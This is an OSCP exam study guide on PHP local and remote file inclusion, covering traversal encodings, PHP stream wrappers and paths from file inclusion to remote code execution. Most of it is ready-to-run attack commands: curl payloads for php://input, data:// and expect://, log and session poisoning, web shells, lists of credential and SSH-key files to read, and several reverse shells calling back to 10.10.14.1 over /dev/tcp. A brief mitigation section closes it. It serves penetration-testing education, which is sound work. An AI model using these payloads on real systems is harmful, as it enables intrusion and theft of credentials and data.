File Inclusion (LFI/RFI) — Deep-Dive Study Guide
1. Overview
File Inclusion vulnerabilities arise when a web application dynamically includes files based on user-supplied input without adequate validation or sanitization. The attacker can manipulate the inclusion path to read arbitrary files (information disclosure) or — through advanced techniques — achieve Remote Code Execution (RCE).
File inclusion is one of the most frequently tested web vulnerabilities on the OSCP exam. Machines like Hackable, Oscar, Blinder, Beep, and Legacy have all featured LFI as a primary or secondary attack vector. Mastering the full exploitation chain — from basic traversal to RCE — is essential.
2. LFI vs RFI — Technical Comparison
| Aspect | Local File Inclusion (LFI) | Remote File Inclusion (RFI) |
|---|---|---|
| File Source | Server’s local filesystem | Remote URL (HTTP/FTP) |
| PHP Requirement | Always possible | Requires allow_url_include = On AND allow_url_fopen = On |
| Default PHP Behavior | Enabled by default | Disabled by default since PHP 5.2+ |
| Primary Impact | Information disclosure → RCE via wrappers/poisoning | Direct RCE (if enabled) |
| Prevalence on OSCP | Very common | Rare (older machines only) |
| Detection Method | Read /etc/passwd or C:\Windows\win.ini |
Include remote PHP shell |
| Typical Functions | include(), include_once(), require(), require_once(), file_get_contents(), readfile() |
Same, but with URL input |
Vulnerable Code Patterns
<!-- LFI: User controls the included file -->
<?php
$page = $_GET['page'];
include($page . '.php'); // Extension appended — needs truncation bypass
?>
<?php
$file = $_GET['file'];
include($file); // No extension — easier to exploit
?>
<?php
// Indirect inclusion — still vulnerable
$lang = $_COOKIE['language'];
require("languages/{$lang}.php");
?>
3. Directory Traversal — Core Technique
Directory traversal is the foundation of LFI exploitation. By injecting ../ sequences, you escape the intended directory and navigate to sensitive files elsewhere on the filesystem.
Traversal Sequences and Encodings
| Sequence | Purpose | Example |
|---|---|---|
../ |
Go up one directory (Unix) | ../../../../etc/passwd |
..\\ |
Go up one directory (Windows) | ..\\..\\windows\\win.ini |
%2e%2e%2f |
URL-encoded ../ |
Bypass naive string filters |
%2e%2e/ |
Partial URL encoding | Bypass filters that only check ../ literally |
..%2f |
Encode only the slash | Alternative partial encoding |
%252e%252e%252f |
Double URL-encoded | Bypass single-decode filters |
..%255c |
Encoded backslash (Windows) | ..%255c..%255cwindows%255csystem32 |
....// |
Filter bypass | Some WAFs strip ../ → ....// becomes ../ after stripping |
..;/ |
Apache-specific bypass | Apache < 2.4.5 treats ; as path terminator |
%c0%af |
Overlong UTF-8 encoding | %c0%ae%c0%ae%c0%af = ../ (older PHP/Apache) |
%c1%9c |
Overlong encoding for \ |
Windows path traversal bypass |
Practical Traversal Examples
# Basic traversal to read /etc/passwd
curl "http://target.com/vuln.php?page=../../../../etc/passwd"
# URL-encoded traversal
curl "http://target.com/vuln.php?page=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"
# Double-encoded (if server decodes twice)
curl "http://target.com/vuln.php?page=%252e%252e%252f%252e%252e%252fetc%252fpasswd"
# Apache semicolon bypass (Apache < 2.4.5)
curl "http://target.com/vuln.php?page=..;/..;/..;/..;/etc/passwd"
# Filter bypass: if ../ is stripped, ....// becomes ../
curl "http://target.com/vuln.php?page=....//....//....//....//etc/passwd"
Determining Traversal Depth
When you don’t know the application’s document root, use excessive traversal:
../../../../../../../../../../../../etc/passwd
A common OSCP technique is to start with a known-working page name and prepend traversal:
# If index.php works, try:
curl "http://target.com/vuln.php?page=../../../../../../../../../../etc/passwd"
# If you get content, you've escaped. If not, add more ../
4. Sensitive File Targets
Linux File Targets
| File | What It Reveals | OSCP Value |
|---|---|---|
/etc/passwd |
User accounts, UID/GID | Always try first — confirms LFI, reveals usernames |
/etc/shadow |
Password hashes (root only) | High — crackable hashes |
/etc/hosts |
Hostname, internal IPs | Medium — network intel |
/etc/crontab |
Scheduled tasks | Medium — persistence clues |
/etc/mysql/my.cnf |
MySQL credentials | High — database access |
/etc/apache2/apache2.conf |
Apache config, virtual hosts | Medium — app structure |
/etc/apache2/sites-enabled/* |
Virtual host configs | High — reveals app paths |
/var/log/apache2/access.log |
HTTP access logs | Critical — log poisoning for RCE |
/var/log/apache2/error.log |
Error logs | Critical — log poisoning |
/var/log/auth.log |
Authentication events | Medium — SSH brute force evidence |
/var/log/syslog |
System events | Medium — service info |
/proc/self/environ |
Server environment variables | Critical — User-Agent injection for RCE |
/proc/version |
Kernel version | Low — info gathering |
/root/.ssh/id_rsa |
Root SSH private key | Critical — full system access |
/home/*/.ssh/id_rsa |
User SSH private keys | Critical — user-level access |
/root/.bash_history |
Root command history | High — credentials, commands |
/home/*/.bash_history |
User command history | High — credentials, commands |
/var/lib/php/sessions/sess_* |
PHP session files | Critical — session poisoning for RCE |
/var/www/html/* |
Web application source code | High — find credentials, other vulns |
Windows File Targets
| File | What It Reveals | OSCP Value |
|---|---|---|
C:\Windows\win.ini |
Windows config (confirms LFI) | Always try first on Windows |
C:\Windows\System32\inetsrv\config\applicationHost.config |
IIS config, app pools, credentials | Critical — often contains plaintext passwords |
C:\boot.ini |
Boot configuration, OS paths | Medium — system info |
C:\Windows\repair\SAM |
SAM database (Windows 2000/XP) | High — password hashes |
C:\Windows\System32\drivers\etc\hosts |
Hosts file | Low — network intel |
C:\xampp\apache\conf\httpd.conf |
XAMPP Apache config | High — app structure |
C:\xampp\apache\logs\access.log |
Apache access logs | Critical — log poisoning |
C:\xampp\mysql\bin\my.ini |
MySQL config | High — database credentials |
C:\Users\*\NTUSER.DAT |
User registry hive | Medium — stored credentials |
C:\inetpub\wwwroot\* |
IIS web root source code | High — app source |
5. PHP Stream Wrappers — Deep Dive
PHP stream wrappers are the most powerful LFI exploitation mechanism. They allow you to read, transform, and even execute content through special URI schemes.
5.1 php://filter — Read Source Code
The php://filter wrapper reads a file and optionally applies transformations (filters) before returning the content. This is the primary method for reading PHP source code on OSCP machines, since directly including a .php file would execute it rather than display its source.
php://filter/[filter-chain]/resource=target_file
Available Read Filters:
| Filter | Purpose | Use Case |
|---|---|---|
convert.base64-encode |
Base64 encode file contents | Most common — read any file as Base64, then decode |
convert.quoted-printable-encode |
Quoted-Printable encoding | Alternative to Base64 |
string.rot13 |
ROT13 transformation | Bypass content filters |
string.toupper / string.tolower |
Case transformation | Bypass case-sensitive filters |
string.reverse |
Reverse string content | Bypass content filters |
convert.iconv.* |
Character encoding conversion | Advanced encoding bypass |
Exploitation Examples:
# Read config.php as Base64
curl "http://target.com/vuln.php?page=php://filter/convert.base64-encode/resource=config.php"
# Decode the Base64 output
echo "PD9waHAgJGFkZHI9ImxvY2FsaG9zdCI7ICR1c2VyPSJyb290IjsgJXBhc3M9InN1cGVyc2VjcmV0IjsgPz4=" | base64 -d
# Output: <?php $addr="localhost"; $user="root"; $pass="supersecret"; ?>
# Chain multiple filters
curl "http://target.com/vuln.php?page=php://filter/string.rot13/convert.base64-encode/resource=config.php"
# Read without extension appending (if .php is appended by the app)
curl "http://target.com/vuln.php?page=php://filter/convert.base64-encode/resource=config.php%00"
# Or use the wrapper as the resource itself
curl "http://target.com/vuln.php?page=php://filter/convert.base64-encode/resource=php://filter/convert.base64-encode/resource=config"
OSCP Tip: When the application appends .php to your input (e.g., include($page . '.php')), use php://filter as the resource — the final .php becomes part of the filter chain and is often ignored or causes a harmless error.
5.2 php://input — Read Raw POST Data
The php://input wrapper reads the raw body of the HTTP POST request. When included, PHP executes the POST body as PHP code — providing direct RCE.
# Send PHP code in the POST body
curl "http://target.com/vuln.php?page=php://input" \
-d '<?php system("id"); ?>'
# Reverse shell via php://input
curl "http://target.com/vuln.php?page=php://input" \
-d '<?php system("bash -i >& /dev/tcp/10.10.14.1/4443 0>&1"); ?>'
# Web shell via php://input
curl "http://target.com/vuln.php?page=php://input" \
-d '<?php echo "<pre>"; system(\$_GET["cmd"]); ?>'
Requirements:
- The inclusion function must be
include(),include_once(),require(), orrequire_once()(notfile_get_contents()orreadfile()) - PHP must be processing the included file as PHP code
5.3 data:// — Data URI Injection
The data:// wrapper treats the URI as inline data. When combined with MIME type text/plain, PHP will execute the data as PHP code.
# Basic command execution
curl "http://target.com/vuln.php?page=data://text/plain,<?php system('id'); ?>"
# URL-encoded version (for special characters)
curl "http://target.com/vuln.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg=="
# Reverse shell
curl "http://target.com/vuln.php?page=data://text/plain,<?php system('bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'); ?>"
# With base64 encoding (avoids URL encoding issues)
curl "http://target.com/vuln.php?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"
Requirements:
allow_url_include = Onin php.ini (required fordata://wrapper execution)- Works with
include()family functions
5.4 expect:// — Direct Command Execution
The expect:// wrapper executes system commands directly and returns their output. This is the simplest RCE method if available.
# Execute id command
curl "http://target.com/vuln.php?page=expect://id"
# List directory
curl "http://target.com/vuln.php?page=expect://ls -la /"
# Whoami
curl "http://target.com/vuln.php?page=expect://whoami"
# Reverse shell
curl "http://target.com/vuln.php?page=expect://bash -c 'bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'"
# Read a file
curl "http://target.com/vuln.php?page=expect://cat /etc/passwd"
Requirements:
- The
expectPHP extension must be installed (php_expect) - Not available on all systems — test during enumeration
5.5 zip:// — ZIP Archive Inclusion
The zip:// wrapper reads files from within a ZIP archive. This is useful when you can upload a ZIP file containing a PHP web shell.
zip://absolute/path/to/archive.zip%23shell.php
Exploitation Workflow:
# Step 1: Create a ZIP file containing a PHP shell
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.zip shell.php
# Step 2: Upload the ZIP file to the target (via file upload vuln)
# Assume it lands at /var/www/html/uploads/shell.zip
# Step 3: Include the PHP file from within the ZIP
# The # character must be URL-encoded as %23
curl "http://target.com/vuln.php?page=zip:///var/www/html/uploads/shell.zip%23shell.php"
# Step 4: Execute commands
curl "http://target.com/vuln.php?page=zip:///var/www/html/uploads/shell.zip%23shell.php&cmd=id"
OSCP Tip: This technique appears on machines with both LFI and file upload vulnerabilities. The ZIP archive bypasses file extension filters since the uploaded file is .zip, not .php.
5.6 phar:// — PHAR Archive Inclusion
Similar to zip://, the phar:// wrapper reads files from PHP Archive (PHAR) files. PHAR is PHP’s native archive format.
# Include file from PHAR archive
curl "http://target.com/vuln.php?page=phar:///var/www/html/uploads/archive.phar/shell.php"
# PHAR can also trigger object deserialization during inclusion
# If the PHAR contains serialized objects with magic methods, they execute on inclusion
Requirements:
- PHP 5.3+
phar.readonly = Offto create PHAR files (not needed for reading)
5.7 glob:// — File Enumeration
The glob:// wrapper lists files matching a pattern. Useful for enumerating files in a directory.
# List all PHP files in /var/www/html
curl "http://target.com/vuln.php?page=glob:///var/www/html/*.php"
# List all files in /etc
curl "http://target.com/vuln.php?page=glob:///etc/*"
6. LFI to RCE — Escalation Techniques
The ultimate goal of LFI exploitation on OSCP is Remote Code Execution. Below are the primary escalation paths, ordered by reliability.
6.1 Log Poisoning
Log poisoning exploits the fact that web servers log request details (including the User-Agent header) to log files. If you can include a log file via LFI and the server processes it as PHP, you achieve RCE.
Common Log File Locations:
| Server | Access Log | Error Log |
|---|---|---|
| Apache (Ubuntu/Debian) | /var/log/apache2/access.log |
/var/log/apache2/error.log |
| Apache (RHEL/CentOS) | /var/log/httpd/access_log |
/var/log/httpd/error_log |
| Nginx | /var/log/nginx/access.log |
/var/log/nginx/error.log |
| IIS (Windows) | C:\inetpub\logs\LogFiles\ |
— |
| XAMPP (Windows) | C:\xampp\apache\logs\access.log |
C:\xampp\apache\logs\error.log |
Complete Exploitation Workflow:
# Step 1: Confirm LFI works
curl "http://target.com/vuln.php?page=../../../../etc/passwd"
# Step 2: Inject PHP payload into the access log via User-Agent
curl "http://target.com/vuln.php?page=index.php" \
-H "User-Agent: <?php system('id'); ?>"
# Step 3: Include the log file — the PHP payload executes
curl "http://target.com/vuln.php?page=../../../../var/log/apache2/access.log"
# Step 4: For a reverse shell, inject a more complex payload
curl "http://target.com/vuln.php?page=index.php" \
-H "User-Agent: <?php system('bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'); ?>"
# Step 5: Include the log again to trigger the shell
curl "http://target.com/vuln.php?page=../../../../var/log/apache2/access.log"
# Step 6: Have a netcat listener ready
nc -lvnp 4443
Important Notes:
- The log file must be included with a function that executes PHP (
include,require), not just reads it (file_get_contents) - Some log formats URL-encode the User-Agent — you may need to send the payload already encoded
- Apache may log the payload with additional formatting — test with a simple payload first
6.2 Session File Poisoning
PHP stores session data in files on the server. If you can control the session data and include the session file, you achieve RCE.
Common Session File Locations:
| OS | Path Pattern |
|---|---|
| Ubuntu/Debian | /var/lib/php/sessions/sess_<SESSION_ID> |
| Ubuntu (newer) | /var/lib/php7.4/sessions/sess_<SESSION_ID> |
| RHEL/CentOS | /var/lib/php/session/sess_<SESSION_ID> |
| Default php.ini | /tmp/sess_<SESSION_ID> |
Finding the Session Path:
# Method 1: Read php.ini
curl "http://target.com/vuln.php?page=php://filter/convert.base64-encode/resource=php.ini"
# Look for session.save_path
# Method 2: Try common locations
curl "http://target.com/vuln.php?page=../../../../var/lib/php/sessions/sess_<ID>"
curl "http://target.com/vuln.php?page=../../../../tmp/sess_<ID>"
# Method 3: Use /proc/mounts to find tmp locations
curl "http://target.com/vuln.php?page=php://filter/convert.base64-encode/resource=/proc/mounts"
Complete Exploitation Workflow:
# Step 1: Set a known session ID
curl -c cookies.txt "http://target.com/vuln.php?page=index.php"
# Step 2: Override the session ID cookie
curl -b "PHPSESSID=hackme" "http://target.com/vuln.php?page=index.php" \
-d "username=<?php system('id'); ?>"
# Step 3: The session file now contains:
# hackme|username|O:8:"stdClass":1:{s:8:"username";s:25:"<?php system('id'); ?>";}
# Or simply: username|s:25:"<?php system('id'); ?>";
# Step 4: Include the session file
curl "http://target.com/vuln.php?page=../../../../var/lib/php/sessions/sess_hackme"
# Step 5: For a reverse shell
curl -b "PHPSESSID=hackme" "http://target.com/vuln.php?page=index.php" \
-d "username=<?php system('bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'); ?>"
curl "http://target.com/vuln.php?page=../../../../var/lib/php/sessions/sess_hackme"
Finding Your Session ID:
# Check the Set-Cookie header
curl -v "http://target.com/vuln.php?page=index.php" 2>&1 | grep "Set-Cookie"
# Or use browser DevTools → Application → Cookies
6.3 /proc/self/environ Poisoning
The /proc/self/environ file contains the environment variables of the current process. When Apache handles a request, the User-Agent header is stored in the HTTP_USER_AGENT environment variable, which appears in this file.
# Step 1: Inject payload via User-Agent
curl "http://target.com/vuln.php?page=index.php" \
-H "User-Agent: <?php system('id'); ?>"
# Step 2: Include /proc/self/environ
curl "http://target.com/vuln.php?page=php://filter/convert.base64-encode/resource=/proc/self/environ"
# Verify your payload appears in the output
# Step 3: Include directly for execution (if include() is used)
curl "http://target.com/vuln.php?page=../../../proc/self/environ"
# Step 4: Reverse shell
curl "http://target.com/vuln.php?page=index.php" \
-H "User-Agent: <?php system('bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'); ?>"
curl "http://target.com/vuln.php?page=../../../proc/self/environ"
Requirements:
- Apache must be running with
mod_cgior the environment must be exposed - The inclusion function must execute PHP code (
include/require)
6.4 Null Byte Truncation (Historical)
Null byte truncation was a critical technique for older PHP versions. When the application appends an extension (e.g., .php), a null byte (%00) in the URL terminates the string before the extension is added.
# Application code: include($page . '.php');
# Without null byte: includes ../../etc/passwd.php (doesn't exist)
# With null byte: includes ../../etc/passwd\0.php → ../../etc/passwd
curl "http://target.com/vuln.php?page=../../../../etc/passwd%00"
Affected Versions:
- PHP < 5.3.4: Null byte truncation works in
include()and file functions - PHP 5.3.4+: Null byte is no longer stripped — the literal
%00becomes part of the filename - PHP < 5.2.8: Also affected in
file_get_contents()and related functions
OSCP Relevance:
- Most OSCP machines run PHP 5.3.4+ where this technique does NOT work
- Still worth trying on older machines (Windows XP/2003 era)
- If null byte doesn’t work, use
php://filteror other wrappers instead
7. RFI — Remote File Inclusion
RFI allows including files from remote URLs. This is the simplest path to RCE but requires specific PHP configuration.
Requirements
; php.ini settings required for RFI
allow_url_include = On ; Must be enabled
allow_url_fopen = On ; Must be enabled
Both settings are Off by default in modern PHP (5.2+), making RFI rare on current systems. However, older OSCP machines may still have these enabled.
Exploitation Workflow
# Step 1: Set up your attacker server with a PHP shell
# On your Kali machine:
python3 -m http.server 80
# Create shell.txt (NOT .php — the target won't execute .txt as PHP on its own server,
# but include() will process it as PHP):
echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/shell.txt
# Step 2: Include the remote file
curl "http://target.com/vuln.php?page=http://10.10.14.1/shell.txt"
# Step 3: Execute commands
curl "http://target.com/vuln.php?page=http://10.10.14.1/shell.txt&cmd=id"
curl "http://target.com/vuln.php?page=http://10.10.14.1/shell.txt&cmd=whoami"
curl "http://target.com/vuln.php?page=http://10.10.14.1/shell.txt&cmd=cat /etc/passwd"
# Step 4: Reverse shell
curl "http://target.com/vuln.php?page=http://10.10.14.1/shell.txt&cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.1/4443 0>&1'"
RFI Bypass Techniques
| Filter | Bypass Method | Example |
|---|---|---|
http:// blocked |
Use https:// |
page=https://attacker.com/shell.txt |
http:// blocked |
Protocol-relative URL | page=//attacker.com/shell.txt |
| Domain blacklisted | Use IP address | page=http://10.10.14.1/shell.txt |
| Domain blacklisted | DNS rebinding | Register domain that resolves to your IP |
.php extension required |
Use .txt or no extension |
PHP processes any included file as PHP |
| URL encoding filter | Double encoding | page=http%253A%252F%252Fattacker.com%252Fshell.txt |
8. Extension Appending Bypasses
Many applications append a file extension to user input:
include($_GET['page'] . '.php');
This prevents direct inclusion of non-PHP files. Here are the bypass techniques:
Trailing Slash Method
# The .php is appended after the /, creating a directory path
curl "http://target.com/vuln.php?page=../../../../etc/passwd/"
# Result: includes ../../../../etc/passwd/.php (treated as directory)
# On Linux, this actually reads /etc/passwd because /etc/passwd/ resolves to /etc/passwd
Null Byte (PHP < 5.3.4)
curl "http://target.com/vuln.php?page=../../../../etc/passwd%00"
PHP Filter Wrapper
# The .php extension becomes part of the filter chain
curl "http://target.com/vuln.php?page=php://filter/convert.base64-encode/resource=../../../../etc/passwd"
Line Break Truncation
# Some configurations truncate at newline
curl "http://target.com/vuln.php?page=../../../../etc/passwd%0a"
curl "http://target.com/vuln.php?page=../../../../etc/passwd%0d%0a"
9. OSCP Exam Patterns and Strategies
Common LFI Scenarios on OSCP
-
Direct LFI Parameter
- URL contains
?page=,?file=,?include=,?path=,?doc=,?template= - Test immediately with
../../../../etc/passwd
- URL contains
-
LFI via Cookie
- Language or theme stored in cookie:
Cookie: lang=en - Try:
Cookie: lang=../../../../etc/passwd
- Language or theme stored in cookie:
-
LFI via POST Parameter
- Form submission includes file parameter
- Use Burp Suite to intercept and modify
-
Blind LFI → Source Code Disclosure
- No visible output, but
php://filter/convert.base64-encode/resource=config.phpreveals credentials - Use disclosed credentials for authenticated access
- No visible output, but
-
LFI + File Upload = RCE
- Upload ZIP/PHAR with web shell → include via
zip://orphar:// - Upload to known path → include directly
- Upload ZIP/PHAR with web shell → include via
-
LFI → Log Poisoning → RCE
- Most common OSCP LFI-to-RCE chain
- Works on nearly every Apache/PHP machine
-
LFI → Session Poisoning → RCE
- Alternative when log poisoning fails
- Requires knowing session file path
OSCP LFI Checklist
□ 1. Identify inclusion parameter (GET, POST, Cookie, Header)
□ 2. Test basic traversal: ../../../../etc/passwd
□ 3. If extension appended, try trailing slash or php://filter
□ 4. Read application source code via php://filter/convert.base64-encode/resource=
□ 5. Look for credentials in source code
□ 6. Try php://input for direct RCE
□ 7. Try expect:// for direct RCE
□ 8. Try data:// for RCE (if allow_url_include=On)
□ 9. Attempt log poisoning for RCE
□ 10. Attempt session poisoning for RCE
□ 11. Try /proc/self/environ poisoning
□ 12. If file upload exists, combine with zip:// or phar://
□ 13. Read sensitive files: SSH keys, .bash_history, database configs
Quick RCE Decision Tree
LFI Confirmed?
├── Yes → Try php://input (fastest RCE)
│ ├── Works → Done
│ └── No → Try expect://
│ ├── Works → Done
│ └── No → Try data://
│ ├── Works → Done
│ └── No → Log Poisoning
│ ├── Works → Done
│ └── No → Session Poisoning
│ ├── Works → Done
│ └── No → /proc/self/environ
└── No → Look for other inclusion vectors (cookies, POST, headers)
10. Automated Detection and Tools
Manual Testing Commands
# Quick LFI test script
for payload in \
"../../../../etc/passwd" \
"php://filter/convert.base64-encode/resource=index.php" \
"expect://id" \
"data://text/plain,<?php phpinfo(); ?>" \
"../../../proc/self/environ"; do
echo "=== Testing: $payload ==="
curl -s "http://target.com/vuln.php?page=$payload" | head -20
echo ""
done
Tools
| Tool | Purpose | Command |
|---|---|---|
wfuzz |
Fuzz inclusion parameters | wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/lfi-linux.txt --hc 404 http://target.com/vuln.php?page=FUZZ |
Burp Suite |
Intercept and modify requests | Proxy → Intercept → Modify parameter |
commix |
Automated injection testing | commix -u "http://target.com/vuln.php?page=test" --batch |
ffuf |
Fast fuzzing | ffuf -u http://target.com/vuln.php?page=FUZZ -w lfi-wordlist.txt -mc 200 |
11. Mitigation Strategies
| Strategy | Implementation | Effectiveness |
|---|---|---|
| Whitelist | Only allow predefined filenames | Highest — eliminates the vulnerability |
| Disable Remote Includes | allow_url_include = Off in php.ini |
High — prevents RFI |
| Input Validation | Reject .., /, \, and wrapper schemes |
Medium — can be bypassed |
| Chroot Jail | Restrict filesystem access | High — limits damage |
| Use IDs | Map numeric IDs to files server-side | Highest — no user-controlled paths |
| Static Mapping | Use associative arrays instead of dynamic includes | Highest — eliminates dynamic inclusion |
open_basedir |
Restrict PHP file access to specific directory | Medium — limits traversal scope |
Secure Code Example
<?php
// INSECURE — never do this
$page = $_GET['page'];
include($page . '.php');
// SECURE — use a whitelist
$allowed_pages = ['home', 'about', 'contact', 'services'];
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
if (in_array($page, $allowed_pages)) {
include("pages/{$page}.php");
} else {
http_response_code(404);
echo "Page not found.";
}
?>
12. Key Takeaways for OSCP
- Always start with
/etc/passwd— it confirms LFI and reveals usernames for further attacks. php://filter/convert.base64-encode/resource=is your best friend for reading source code.- Log poisoning is the most reliable LFI-to-RCE path on OSCP machines — memorize the workflow.
php://inputis the fastest RCE if it works — always try it first.- Extension appending is common — know the trailing slash and
php://filterbypasses. - Read
.bash_historyand SSH keys after gaining initial access — they often lead to privilege escalation. - Session poisoning requires knowing the session path — use
php://filterto readphp.inifirst. - Null byte truncation rarely works on modern OSCP machines — don’t waste time on it unless the machine is old.